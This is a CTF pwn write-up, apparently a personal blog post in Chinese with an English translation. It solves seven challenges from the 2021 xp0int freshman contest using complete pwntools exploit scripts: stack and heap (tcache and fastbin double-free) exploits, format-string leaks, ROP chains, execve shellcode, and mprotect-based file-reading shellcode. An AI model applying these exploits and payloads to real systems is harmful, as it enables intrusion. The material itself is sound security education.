2039 字

10 分钟

阅读量 --

2021xp0int杯新生赛 Pwn wp

2021-12-13

CTF

Pwn

div_overflow#

分析#

没开 canary 和 PIE

init () 函数发现有一个 signal 绑定，

百度C 库函数 – signal () | 菜鸟教程 (runoob.com)

查看 glibc 源码可以发现，这个是将除零溢出错误信号绑定到 backdoor 函数上了（就是说触发这个信号，不会报错会直接跳转到对应函数运行）

backdoor 函数发现栈溢出漏洞

SIGFPE 信号的触发#

main 函数过程中有一个除法运算，但需要 v4 不为 0 才能进入，那么就不能构造 1/0 的形式

由于计算机采用的是补码的表示方法，32 位机器位可以表示的有符号整数范围为 - 2147483648~2,147,483,647

发现构造 - 2147483648/-1=2147483648，会发生除法溢出，从而进入 backdoor

Exp#

1
from pwn import *
2

3
io = process('./div_overflow')
4
# io = remote('35.229.138.83',14056)
5

6
io.sendline('-2147483648')
7
io.sendline('-1')
8

9
shell = 0x0004007C8
10

11
io.recvuntil('Hero, please leave your name :')
12
p = 'a' * 0x58 + p64(shell)
13
io.sendline(p)
14

15
io.interactive()

guess#

没有开 NX，存在 shellcode 执行

main 函数调用 game ()，game () 是主要逻辑，大概意思就是需要预测随机数，首先会使用时间播种

然后随机生成 16 个字符，并存入 s 中

最后需要我们输入 16 字符和 s 进行校验，校验成功就可以进入 good () 函数

IDA 分析 good () 函数的时候报错，只能看汇编了

一通分析下来 good 函数就是 shellcode 后门，这样思路就很明确了，只需要预测随机数 + shellcode

预测随机数#

从 Tover 那里学来的方法，在本地写一个 C 程序

1
#include<stdio.h>
2

3
int main() {
4
    int seed;
5
    setbuf(stdin ,0);
6
    setbuf(stdout, 0);
7
    while (1)
8
    {
9
        printf("seed>");
10
        scanf("%d", &seed);
11
        srand(seed);
12
        printf("ans>");
13
        for(int i = 0; i < 16; ++i) {
14
            printf("%d ", rand() % 255);
15
        }
16
        printf("\n");
17
    }
18
}

然后在服务器运行的同时运行此程序，这样就可以设置相同的 seed，自然随机出来的数据就是相同的

shelldoe

Exp#

1
from pwn import *
2

3
context.log_level='debug'
4
rd = process('./rd')
5
# io = process('./guess')
6
io = remote('35.229.138.83', 16134)
7

8
def randchar(seed):
9
    rd.recvuntil('seed>')
10
    rd.sendline(str(seed))
11
    rd.recvuntil('ans>')
12
    arr = rd.recvuntil(' \n', drop=True).split(' ')
13
    arr = list(map(int, arr))
14
    arr = ''.join(map(chr, arr))
15
    return arr
16

17
# print randchar(123456)
18
io.sendlineafter('May I have your name : ', 'asdfg')
19
io.recvuntil('Branch hat : Now I tell you the essence of this spell is ')
20
inp = int(io.recvuntil('\n', drop=True))
21
print inp
22
p = randchar(inp)
23
io.sendafter('Please enter the spell you understand : ', p)
24

25
p = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
26
io.recvuntil('loud')
27
io.sendline(p)
28

29
io.interactive()

H.E.A.P#

堆题，libc 版本 2.27 存在 tcache bin

发现漏洞，free 之后没有将指针清空，利用之后可以任意地址写

Exp#

1
from pwn import *
2

3
context.log_level='debug'
4
io = remote('35.229.138.83', 11009)
5
# io = process(['./ld-2.27.so', './chall'], env={'LD_PRELOAD':'./libc-2.27.so'})
6
libc = ELF('./libc-2.27.so')
7

8
def add(idx, size):
9
    io.sendlineafter('Your choice >> ', '1')
10
    io.sendlineafter('Index: ', str(idx))
11
    io.sendlineafter('Size: ', str(size))
12

13
def free(idx):
14
    io.sendlineafter('Your choice >> ', '2')
15
    io.sendlineafter('Index: ', str(idx))
16

17
def show(idx):
18
    io.sendlineafter('Your choice >> ', '3')
19
    io.sendlineafter('Index: ', str(idx))
20

21
def edit(idx, content):
22
    io.sendlineafter('Your choice >> ', '4')
23
    io.sendlineafter('Index: ', str(idx))
24
    io.sendlineafter('Content: ', content)
25

26
main_arena = 0x000003EBC40
27
for i in range(8):
28
    add(i, 0x90)
29
add(8, 0x90)
30

31
for i in range(8):
32
    free(7-i)
33

34

35
show(0) # 泄露main_arana地址
36
io.recvuntil('Content: ')
37
inp = u64(io.recvuntil('\n', drop=True).ljust(8,'\0'))
38
libc_base = inp-96-main_arena
39
print hex(libc_base)
40

41
ogg = [0x4f3d5,0x4f432,0x10a41c] # one gadget
42
edit(1, p64(libc_base + libc.sym['__free_hook'])) # 修改fd指针为__free_hook地址
43
add(10, 0x90)
44
add(11, 0x90) # 11号堆块在__free_hook位置
45
edit(11, p64(ogg[1]+libc_base)) # 在__free_hook位置写入one gadget
46
# gdb.attach(io)
47
# add(12, 0x90)
48
free(0) # 除法free函数，执行ogg
49

50
io.interactive()

具体利用方法见CTF pwn 题堆入门 — Tcache bin_lifanxin 的博客 - CSDN 博客

BasicMath#

又有随机数，但这一次需要预测，直接利用 python eval () 计算结果就行，注意到有 16 个问题，当 i==15 是，会进入 last_problem 函数

貌似没有什么问题

再仔细观察就会发现，readint 返回的是 64 位有符号整型数

但进行校验的时候，取得是 v5 得高 32 位字节判断，所以只需要最后一次输入的数比较大就行

然后就是进入 gift 函数

发现有 leak 和溢出漏洞

Exp#

1
from pwn import *
2

3
context.log_level='debug'
4
io = remote('35.229.138.83',10874)
5
# io = process(['./ld-2.27.so','./chall'], env={"LD_PRELOAD": './libc-2.27.so'})
6
libc = ELF('./libc-2.27.so')
7

8
for i in range(15):
9
    io.recvuntil(']')
10
    inp = io.recvuntil(' = ?', drop=True)
11
    ans = eval(inp)
12
    io.sendline(str(ans))
13

14
io.recvuntil(' = ?')
15
io.sendline('11111111111111')
16
ogg = [0x4f3d5,0x4f432,0x10a41c]
17

18
# gdb.attach(io)
19
print io.recv(8)
20
canary = u64(io.recv(8).ljust(8, '\0')) # 泄露canary
21
stack = u64(io.recv(8).ljust(8, '\0')) # 泄露栈地址
22
func_base = u64(io.recv(8).ljust(8, '\0')) - 0x000000000000168A # 泄露函数加载地址
23
io.recv(8 * 5)
24
libc_base = u64(io.recv(8).ljust(8, '\0')) - 231 - libc.sym['__libc_start_main'] # 泄露libc基址
25
print hex(canary)
26
print hex(func_base)
27
print hex(libc_base)
28
pop_rdi = 0x00000001713 + func_base
29
libc.address = libc_base
30

31
p = p64(canary) + p64(0) + p64(pop_rdi+1) + p64(pop_rdi) + p64(stack) + p64(libc.sym['system']) + p64(0xdeadbeaf) + '/bin/sh\0'
32
io.send(p)
33

34
io.interactive()

easyheap#

又是堆题，libc 版本 2.23 没有 tcache

似曾相识的 tea，这个题目构造貌似在那里见过？（难道是那个某省的第一届攻防大赛？）

tea 解密#

本地写一个 c10udlnk 教我的 tea 解密脚本

1
#include <stdio.h>
2
#include <stdint.h>
3
void decrypt (uint32_t* v, uint32_t* k, uint32_t delta) {
4
    uint32_t v0=v[0], v1=v[1], sum=delta*32, i;  /* set up */
5
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
6
    for (i=0; i<32; i++) {                         /* basic cycle start */
7
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
8
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
9
        sum -= delta;
10
    }                                              /* end cycle */
11
    v[0]=v0;
12
    v[1]=v1;
13
}
14

15
int main()
16
{
17
    uint32_t c[2] = {0};
18
    uint32_t k[4];
19
    uint32_t del;
20
    memcpy((char*)k, "ggslggyzgghysdyy", sizeof(k));
21

22
    scanf("%x %x %u", &c[0], &c[1], &del);
23
    decrypt(c, k, del);
24
    printf("%x %x\n", c[0], c[1]);
25
    return 0;
26
}

double free#

free 函数

清零过程

会发现第 15 个块，会被 free 但不会清零

之后就是 fastbin 的 double free 攻击

Exp#

1
from pwn import *
2
context.log_level = 'debug'
3

4
def tea(c1, c2, de):
5
    c1 = hex(c1)
6
    c2 = hex(c2)
7
    teaio = process('./tea')
8
    teaio.sendline(c1 + ' ' + c2 + ' ' + str(de))
9
    r = teaio.recvuntil('\n', drop=True).split(' ')
10
    return int(r[0], 16), int(r[1], 16)
11

12
io = remote('35.229.138.83',11967)
13
# io = process(['./ld-2.23.so','./pwn'], env={'LD_PRELOAD':'./libc.so'})
14
libc = ELF('./libc.so')
15

16
io.recvuntil('Your secret key: ')
17
d = int(io.recvuntil('\n', drop=True))
18
io.recvuntil('My gift: ')
19
s = io.recvuntil('\n').split(',')
20
cc0, cc1 = int(s[0], 16), int(s[1], 16)
21
p0, p1 = tea(cc0, cc1, d)
22
io.recvuntil('Your gift: ')
23
io.sendline(str(p0) + ',' + str(p1))
24

25
def add(idx, size, content):
26
    io.sendlineafter('choice >>', '1')
27
    io.sendlineafter('id: ', str(idx))
28
    io.sendlineafter('size: ', str(size))
29
    io.sendlineafter('content: ', content)
30

31
def free():
32
    io.sendlineafter('choice >>', '2')
33

34
def show():
35
    io.sendlineafter('choice >>', '1638')
36
    io.recvuntil('Your gift: ')
37
    return int(io.recvuntil('\n', drop=True), 16)
38

39
ogg = [0x45226,0x4527a,0xf03a4,0xf1247]
40
libc.address = show() - libc.sym['puts']
41
print hex(libc.address)
42

43
add(15, 0x60, 'aaa')
44
free()
45
add(13, 0x60, 'aaa') # 13位置地址 == 15位置地址
46
add(14, 0x60, 'aaa') # 中间有一个绕过double free检查
47
free()
48
add(0, 0x60, p64(libc.sym['__malloc_hook']-0x23))
49
add(1, 0x60, 'aaaa')
50
add(2, 0x60, 'aaaa')
51
add(3, 0x68, '\0'*19 + p64(libc.address + ogg[3]))
52
# gdb.attach(io)
53
io.sendlineafter('choice >>', '1')
54
io.sendlineafter('id: ', '4')
55
io.sendlineafter('size: ', '20')
56
# free()
57

58
io.interactive()

fastbin double free 利用方法见CTF pwn 题堆入门 — Fast bin_lifanxin 的博客 - CSDN 博客

gift#

发现沙盒使用 seccomp-tools，查看发现 execve 函数被禁用了，也就是说不能调用 system、shellcode getshell 这些 getshell，解决方法 orw（open、read、write），原理就是 open 打开本地文件，read 读取进入内存，write 打印到屏幕

gift 函数发现有一个格式化字符串漏洞，可以泄露栈地址、libc 地址和函数加载地址

main 函数发现有一个栈溢出的漏洞，但只能覆盖返回地址，不能直接构造 ROP，但发现 name 在 bss 段，可以先在 name 函数中布置 rop，然后利用两次 leave;retn 劫持 rsp，实现栈迁移到 bss，执行在 name 中构造的 rop

ROP#

rop 思路首先需要实现 orw，需要编写 shellcode

1
sc = asm(shellcraft.open('./flag'))
2
sc += asm(shellcraft.read(3, 0x00002020cf + elf.address, 0x30))
3
sc += asm(shellcraft.write(1, 0x00002020cf + elf.address, 0x30))

然后需要调用 libc 中的 mprotect 函数，将 bss 段权限改为可读可写可执行，最后跳转到 shellcode 上

Exp#

1
from pwn import *
2

3
context.log_level='debug'
4

5
context(arch='amd64')
6
io = remote('35.229.138.83', 13789)
7
# io = process(['./ld-2.27.so','./gift'], env={"LD_PRELOAD": './libc-2.27.so'})
8
libc = ELF('./libc-2.27.so')
9
elf = ELF('./gift')
10
name = 0x0000000202060
11

12
# gdb.attach(io)
13
io.recvuntil('this the gift for you.\n')
14
io.send('%9$p-%19$p-%11$p')
15

16
io.recvuntil('0x')
17
canary = int(io.recvuntil('-', drop=True), 16)
18

19

20
start_main = int(io.recvuntil('-', drop=True), 16)
21
libc_base = start_main - 231 - libc.sym['__libc_start_main']
22
print hex(libc_base)
23
libc.address = libc_base
24

25
inp = int(io.recv(14), 16)
26
print hex(inp)
27
elf.address = inp - 0x000000B78 - 43
28
print hex(elf.address)
29

30
pop_rdi = elf.address + 0x000000000000C73
31
pop_rsi = libc_base + 0x0000000000023eea
32
pop_rdx = libc_base + 0x0000000000001b96
33
print hex(pop_rdi)
34
print hex(pop_rsi)
35
print hex(pop_rdx)
36
print hex(libc.sym['system'])
37

38
sc = asm(shellcraft.open('./flag')) # open("./flag")
39
sc += asm(shellcraft.read(3, 0x00002020cf + elf.address, 0x30)) # read(3, buf, 0x30)
40
sc += asm(shellcraft.write(1, 0x00002020cf + elf.address, 0x30)) # write(1, buf, 0x30)
41
print len(sc)
42
print sc
43
print libc.sym['mprotect']
44

45
p = sc
46
p += p64(0) + p64(pop_rdx) + p64(0x7) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdi) + p64((elf.address + name) & 0xffffffffff000) + p64(libc.sym['mprotect']) + p64(elf.address + name)
47
print len(p)
48
io.sendlineafter('please input your name:\n', p)
49

50
# gdb.attach(io)
51
p = 'a' * (0x30 - 8) + p64(canary) + p64(elf.address + name + len(sc)) + p64(elf.address + 0x0000000C00)
52
io.recvuntil('what do you want to say?\n')
53
io.send(p)
54

55

56
io.interactive()
57
# flag{gO

babystack#

异构 pwn 耶！

保护全关

发现有一个格式化字符串漏洞，可以泄露栈地址

查阅一番资料，并看汇编发现，arm 架构下 PC 也会存放在栈上，动态调试一番就可以算到偏移量

然后再 v6 中编写 shellcode，并跳转执行即可

1
from pwn import *
2

3
# io = process(['qemu-arm','-g','1234','./pwn'])
4
# io = process(['qemu-arm','./pwn'])
5
io = remote('35.229.138.83', 10008)
6

7
# gdb.attach(io)
8
io.recvuntil('I am a repeater without any emotion.\n')
9
io.send('%1$p')
10
stack = int(io.recvuntil('Do you have any questions?', drop=True), 16)
11
print hex(stack)
12

13
context(arch='arm')
14
p = 'a' * 8 + p32(stack + 0x4 * 3) + asm(shellcraft.sh())
15
io.sendline(p)
16

17
io.interactive()

by Csome#

!!! 暨南大学 xp0int 杯 wp 收集截止前禁止发送给暨南大学的同学，产生的后果由转发者承担！！！

Translate by Kimi-K3

div_overflow#

Analysis#

Canary and PIE are not enabled

In the init() function there is a signal binding,

I searched Baidu for C library function – signal() | Runoob (runoob.com)

Looking at the glibc source code, you can see that this binds the divide-by-zero overflow error signal to the backdoor function (that is, when this signal is triggered, no error is reported and execution jumps directly to the corresponding function)

The backdoor function has a stack overflow vulnerability

Triggering the SIGFPE signal#

There is a division in the main function, but it requires v4 to be non-zero, so we cannot construct something like 1/0

Since computers use two’s complement representation, the range of signed integers on a 32-bit machine is -2147483648 to 2,147,483,647

We find that computing -2147483648 / -1 = 2147483648 causes a division overflow, which takes us into backdoor

Exp#

1
from pwn import *
2

3
io = process('./div_overflow')
4
# io = remote('35.229.138.83',14056)
5

6
io.sendline('-2147483648')
7
io.sendline('-1')
8

9
shell = 0x0004007C8
10

11
io.recvuntil('Hero, please leave your name :')
12
p = 'a' * 0x58 + p64(shell)
13
io.sendline(p)
14

15
io.interactive()

guess#

NX is not enabled, so shellcode execution is possible

The main function calls game(), which contains the main logic. Roughly speaking, we need to predict random numbers; it first seeds with the current time

Then it randomly generates 16 characters and stores them in s

Finally, we need to input 16 characters to be checked against s; if the check succeeds, we can enter the good() function

IDA reported an error when analyzing the good() function, so we can only look at the assembly

After some analysis, the good function is just a shellcode backdoor, so the approach is clear: predict the random numbers + shellcode

Predicting the random numbers#

This is a method I learned from Tover: write a local C program

1
#include<stdio.h>
2

3
int main() {
4
    int seed;
5
    setbuf(stdin ,0);
6
    setbuf(stdout, 0);
7
    while (1)
8
    {
9
        printf("seed>");
10
        scanf("%d", &seed);
11
        srand(seed);
12
        printf("ans>");
13
        for(int i = 0; i < 16; ++i) {
14
            printf("%d ", rand() % 255);
15
        }
16
        printf("\n");
17
    }
18
}

Then run this program at the same time as the one on the server. This way we can set the same seed, and the generated random data will naturally be identical

shelldoe

Exp#

1
from pwn import *
2

3
context.log_level='debug'
4
rd = process('./rd')
5
# io = process('./guess')
6
io = remote('35.229.138.83', 16134)
7

8
def randchar(seed):
9
    rd.recvuntil('seed>')
10
    rd.sendline(str(seed))
11
    rd.recvuntil('ans>')
12
    arr = rd.recvuntil(' \n', drop=True).split(' ')
13
    arr = list(map(int, arr))
14
    arr = ''.join(map(chr, arr))
15
    return arr
16

17
# print randchar(123456)
18
io.sendlineafter('May I have your name : ', 'asdfg')
19
io.recvuntil('Branch hat : Now I tell you the essence of this spell is ')
20
inp = int(io.recvuntil('\n', drop=True))
21
print inp
22
p = randchar(inp)
23
io.sendafter('Please enter the spell you understand : ', p)
24

25
p = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
26
io.recvuntil('loud')
27
io.sendline(p)
28

29
io.interactive()

H.E.A.P#

A heap challenge; libc version 2.27, which has tcache bins

Found the vulnerability: the pointer is not cleared after free, which can be exploited for an arbitrary address write

Exp#

1
from pwn import *
2

3
context.log_level='debug'
4
io = remote('35.229.138.83', 11009)
5
# io = process(['./ld-2.27.so', './chall'], env={'LD_PRELOAD':'./libc-2.27.so'})
6
libc = ELF('./libc-2.27.so')
7

8
def add(idx, size):
9
    io.sendlineafter('Your choice >> ', '1')
10
    io.sendlineafter('Index: ', str(idx))
11
    io.sendlineafter('Size: ', str(size))
12

13
def free(idx):
14
    io.sendlineafter('Your choice >> ', '2')
15
    io.sendlineafter('Index: ', str(idx))
16

17
def show(idx):
18
    io.sendlineafter('Your choice >> ', '3')
19
    io.sendlineafter('Index: ', str(idx))
20

21
def edit(idx, content):
22
    io.sendlineafter('Your choice >> ', '4')
23
    io.sendlineafter('Index: ', str(idx))
24
    io.sendlineafter('Content: ', content)
25

26
main_arena = 0x000003EBC40
27
for i in range(8):
28
    add(i, 0x90)
29
add(8, 0x90)
30

31
for i in range(8):
32
    free(7-i)
33

34

35
show(0) # leak the main_arena address
36
io.recvuntil('Content: ')
37
inp = u64(io.recvuntil('\n', drop=True).ljust(8,'\0'))
38
libc_base = inp-96-main_arena
39
print hex(libc_base)
40

41
ogg = [0x4f3d5,0x4f432,0x10a41c] # one gadget
42
edit(1, p64(libc_base + libc.sym['__free_hook'])) # set the fd pointer to the __free_hook address
43
add(10, 0x90)
44
add(11, 0x90) # chunk 11 lands at __free_hook
45
edit(11, p64(ogg[1]+libc_base)) # write the one gadget at __free_hook
46
# gdb.attach(io)
47
# add(12, 0x90)
48
free(0) # trigger free, executing ogg
49

50
io.interactive()

For the detailed exploitation method, see CTF pwn heap basics — Tcache bin_lifanxin’s blog - CSDN Blog

BasicMath#

There are random numbers again, but this time we need to predict them. We can directly use Python’s eval() to compute the results. Note that there are 16 problems; when i==15, it enters the last_problem function

There seems to be no problem at first glance

But looking more closely, we find that readint returns a 64-bit signed integer

However, the check uses the upper 32 bits of v5 for comparison, so we just need the last input number to be large enough

Then we enter the gift function

We find a leak and an overflow vulnerability

Exp#

1
from pwn import *
2

3
context.log_level='debug'
4
io = remote('35.229.138.83',10874)
5
# io = process(['./ld-2.27.so','./chall'], env={"LD_PRELOAD": './libc-2.27.so'})
6
libc = ELF('./libc-2.27.so')
7

8
for i in range(15):
9
    io.recvuntil(']')
10
    inp = io.recvuntil(' = ?', drop=True)
11
    ans = eval(inp)
12
    io.sendline(str(ans))
13

14
io.recvuntil(' = ?')
15
io.sendline('11111111111111')
16
ogg = [0x4f3d5,0x4f432,0x10a41c]
17

18
# gdb.attach(io)
19
print io.recv(8)
20
canary = u64(io.recv(8).ljust(8, '\0')) # leak the canary
21
stack = u64(io.recv(8).ljust(8, '\0')) # leak a stack address
22
func_base = u64(io.recv(8).ljust(8, '\0')) - 0x000000000000168A # leak the function load address
23
io.recv(8 * 5)
24
libc_base = u64(io.recv(8).ljust(8, '\0')) - 231 - libc.sym['__libc_start_main'] # leak the libc base address
25
print hex(canary)
26
print hex(func_base)
27
print hex(libc_base)
28
pop_rdi = 0x00000001713 + func_base
29
libc.address = libc_base
30

31
p = p64(canary) + p64(0) + p64(pop_rdi+1) + p64(pop_rdi) + p64(stack) + p64(libc.sym['system']) + p64(0xdeadbeaf) + '/bin/sh\0'
32
io.send(p)
33

34
io.interactive()

easyheap#

Another heap challenge; libc version 2.23, no tcache

This familiar-looking tea — haven’t I seen this challenge structure somewhere before? (Could it be that certain province’s first attack-defense competition?)

tea decryption#

A tea decryption script written locally, which c10udlnk taught me

1
#include <stdio.h>
2
#include <stdint.h>
3
void decrypt (uint32_t* v, uint32_t* k, uint32_t delta) {
4
    uint32_t v0=v[0], v1=v[1], sum=delta*32, i;  /* set up */
5
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
6
    for (i=0; i<32; i++) {                         /* basic cycle start */
7
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
8
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
9
        sum -= delta;
10
    }                                              /* end cycle */
11
    v[0]=v0;
12
    v[1]=v1;
13
}
14

15
int main()
16
{
17
    uint32_t c[2] = {0};
18
    uint32_t k[4];
19
    uint32_t del;
20
    memcpy((char*)k, "ggslggyzgghysdyy", sizeof(k));
21

22
    scanf("%x %x %u", &c[0], &c[1], &del);
23
    decrypt(c, k, del);
24
    printf("%x %x\n", c[0], c[1]);
25
    return 0;
26
}

double free#

The free function

The zeroing process

You will find that chunk 15 gets freed but is not zeroed out

After that, it’s a fastbin double free attack

Exp#

1
from pwn import *
2
context.log_level = 'debug'
3

4
def tea(c1, c2, de):
5
    c1 = hex(c1)
6
    c2 = hex(c2)
7
    teaio = process('./tea')
8
    teaio.sendline(c1 + ' ' + c2 + ' ' + str(de))
9
    r = teaio.recvuntil('\n', drop=True).split(' ')
10
    return int(r[0], 16), int(r[1], 16)
11

12
io = remote('35.229.138.83',11967)
13
# io = process(['./ld-2.23.so','./pwn'], env={'LD_PRELOAD':'./libc.so'})
14
libc = ELF('./libc.so')
15

16
io.recvuntil('Your secret key: ')
17
d = int(io.recvuntil('\n', drop=True))
18
io.recvuntil('My gift: ')
19
s = io.recvuntil('\n').split(',')
20
cc0, cc1 = int(s[0], 16), int(s[1], 16)
21
p0, p1 = tea(cc0, cc1, d)
22
io.recvuntil('Your gift: ')
23
io.sendline(str(p0) + ',' + str(p1))
24

25
def add(idx, size, content):
26
    io.sendlineafter('choice >>', '1')
27
    io.sendlineafter('id: ', str(idx))
28
    io.sendlineafter('size: ', str(size))
29
    io.sendlineafter('content: ', content)
30

31
def free():
32
    io.sendlineafter('choice >>', '2')
33

34
def show():
35
    io.sendlineafter('choice >>', '1638')
36
    io.recvuntil('Your gift: ')
37
    return int(io.recvuntil('\n', drop=True), 16)
38

39
ogg = [0x45226,0x4527a,0xf03a4,0xf1247]
40
libc.address = show() - libc.sym['puts']
41
print hex(libc.address)
42

43
add(15, 0x60, 'aaa')
44
free()
45
add(13, 0x60, 'aaa') # address at position 13 == address at position 15
46
add(14, 0x60, 'aaa') # one chunk in between to bypass the double free check
47
free()
48
add(0, 0x60, p64(libc.sym['__malloc_hook']-0x23))
49
add(1, 0x60, 'aaaa')
50
add(2, 0x60, 'aaaa')
51
add(3, 0x68, '\0'*19 + p64(libc.address + ogg[3]))
52
# gdb.attach(io)
53
io.sendlineafter('choice >>', '1')
54
io.sendlineafter('id: ', '4')
55
io.sendlineafter('size: ', '20')
56
# free()
57

58
io.interactive()

For the fastbin double free exploitation method, see CTF pwn heap basics — Fast bin_lifanxin’s blog - CSDN Blog

gift#

We find there is a sandbox; checking with seccomp-tools reveals that the execve function is disabled, which means we can’t get a shell via system or shellcode. The workaround is orw (open, read, write): use open to open a local file, read to read it into memory, and write to print it to the screen

The gift function has a format string vulnerability, which can leak a stack address, a libc address, and the function load address

The main function has a stack overflow vulnerability, but it can only overwrite the return address, so we can’t directly build a ROP chain. However, we find that name is in the bss segment, so we can first place our ROP in the name function, then use two leave; retn sequences to hijack rsp, achieving stack pivoting to bss and executing the ROP constructed in name

ROP#

The ROP idea is first to implement orw, which requires writing shellcode

1
sc = asm(shellcraft.open('./flag'))
2
sc += asm(shellcraft.read(3, 0x00002020cf + elf.address, 0x30))
3
sc += asm(shellcraft.write(1, 0x00002020cf + elf.address, 0x30))

Then we need to call the mprotect function in libc to change the permissions of the bss segment to readable, writable, and executable, and finally jump to the shellcode

Exp#

1
from pwn import *
2

3
context.log_level='debug'
4

5
context(arch='amd64')
6
io = remote('35.229.138.83', 13789)
7
# io = process(['./ld-2.27.so','./gift'], env={"LD_PRELOAD": './libc-2.27.so'})
8
libc = ELF('./libc-2.27.so')
9
elf = ELF('./gift')
10
name = 0x0000000202060
11

12
# gdb.attach(io)
13
io.recvuntil('this the gift for you.\n')
14
io.send('%9$p-%19$p-%11$p')
15

16
io.recvuntil('0x')
17
canary = int(io.recvuntil('-', drop=True), 16)
18

19

20
start_main = int(io.recvuntil('-', drop=True), 16)
21
libc_base = start_main - 231 - libc.sym['__libc_start_main']
22
print hex(libc_base)
23
libc.address = libc_base
24

25
inp = int(io.recv(14), 16)
26
print hex(inp)
27
elf.address = inp - 0x000000B78 - 43
28
print hex(elf.address)
29

30
pop_rdi = elf.address + 0x000000000000C73
31
pop_rsi = libc_base + 0x0000000000023eea
32
pop_rdx = libc_base + 0x0000000000001b96
33
print hex(pop_rdi)
34
print hex(pop_rsi)
35
print hex(pop_rdx)
36
print hex(libc.sym['system'])
37

38
sc = asm(shellcraft.open('./flag')) # open("./flag")
39
sc += asm(shellcraft.read(3, 0x00002020cf + elf.address, 0x30)) # read(3, buf, 0x30)
40
sc += asm(shellcraft.write(1, 0x00002020cf + elf.address, 0x30)) # write(1, buf, 0x30)
41
print len(sc)
42
print sc
43
print libc.sym['mprotect']
44

45
p = sc
46
p += p64(0) + p64(pop_rdx) + p64(0x7) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdi) + p64((elf.address + name) & 0xffffffffff000) + p64(libc.sym['mprotect']) + p64(elf.address + name)
47
print len(p)
48
io.sendlineafter('please input your name:\n', p)
49

50
# gdb.attach(io)
51
p = 'a' * (0x30 - 8) + p64(canary) + p64(elf.address + name + len(sc)) + p64(elf.address + 0x0000000C00)
52
io.recvuntil('what do you want to say?\n')
53
io.send(p)
54

55

56
io.interactive()
57
# flag{gO

babystack#

A pwn challenge on a different architecture!

All protections are disabled

There is a format string vulnerability, which can leak a stack address

After consulting some resources and looking at the assembly, we find that on the ARM architecture the PC is also stored on the stack, so with some dynamic debugging we can compute the offset

Then we just write shellcode into v6 and jump to it for execution

1
from pwn import *
2

3
# io = process(['qemu-arm','-g','1234','./pwn'])
4
# io = process(['qemu-arm','./pwn'])
5
io = remote('35.229.138.83', 10008)
6

7
# gdb.attach(io)
8
io.recvuntil('I am a repeater without any emotion.\n')
9
io.send('%1$p')
10
stack = int(io.recvuntil('Do you have any questions?', drop=True), 16)
11
print hex(stack)
12

13
context(arch='arm')
14
p = 'a' * 8 + p32(stack + 0x4 * 3) + asm(shellcraft.sh())
15
io.sendline(p)
16

17
io.interactive()

by Csome#

!!!Do not send this writeup to students of Jinan University before the collection deadline for xp0int Cup writeups; the person who forwards it bears all consequences!!!

2021xp0int杯新生赛 Pwn wp

https://blog.csome.cc/p/xp0intCTF-wp/

作者

Csome

发布于

2021-12-13

许可协议

CC BY-SA 3.0

微调Hexo主题Anatolo接入gitalk

Pwn从0到0.00001